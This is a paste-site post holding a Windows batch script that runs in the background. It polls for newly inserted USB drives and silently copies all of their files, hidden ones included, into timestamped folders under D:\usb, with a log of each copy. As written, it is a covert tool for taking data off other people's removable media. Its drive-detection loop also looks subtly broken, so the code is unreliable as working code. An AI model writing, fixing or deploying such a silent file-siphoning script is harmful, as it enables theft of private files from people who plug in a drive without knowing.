Untitled

 avatar
unknown
plain_text
a month ago
1.7 kB
3
Indexable
@echo off
setlocal enabledelayedexpansion

:: Run in background
if "%1"=="BACKGROUND" (
    :: Create log file if it doesn't exist
    if not exist "D:\usb\log.txt" (
        mkdir "D:\usb" 2>nul
        echo USB Copy Log > "D:\usb\log.txt"
    )

    :CheckForUSB
    :: Get initial list of drives
    set "drives="
    for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
        if exist %%d:\ set "drives=!drives!%%d"
    )

    :: Wait for new drive
    :WaitForNewDrive
    timeout /t 2 /nobreak >nul
    set "newdrives="
    for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
        if exist %%d:\ set "newdrives=!newdrives!%%d"
    )

    :: Compare drive lists to detect new drive
    set "found="
    for /f "delims=" %%a in ("!newdrives!") do (
        set "char=%%a"
        echo !drives! | find "!char!" >nul || set "found=!char!"
    )

    if defined found (
        :: New drive detected        
        :: Create timestamped folder
        for /f "tokens=2-4 delims=/ " %%a in ('date /t') do (
            for /f "tokens=1-2 delims=: " %%d in ('time /t') do (
                set "timestamp=%%c-%%a-%%b_%%d%%e"
            )
        )
        
        :: Create folder with drive letter and timestamp
        set "destfolder=D:\usb\!found!_drive_!timestamp!"
        mkdir "!destfolder!" 2>nul
        
        :: Copy files silently
        xcopy "!found!:\*.*" "!destfolder!" /s /e /h /i /y /q
        
        :: Log the copy operation
        echo [!timestamp!] Copied files from Drive !found!: to !destfolder! >> "D:\usb\log.txt"
        
        :: Update drives list
        set "drives=!newdrives!"
    )

    goto WaitForNewDrive
)
Leave a Comment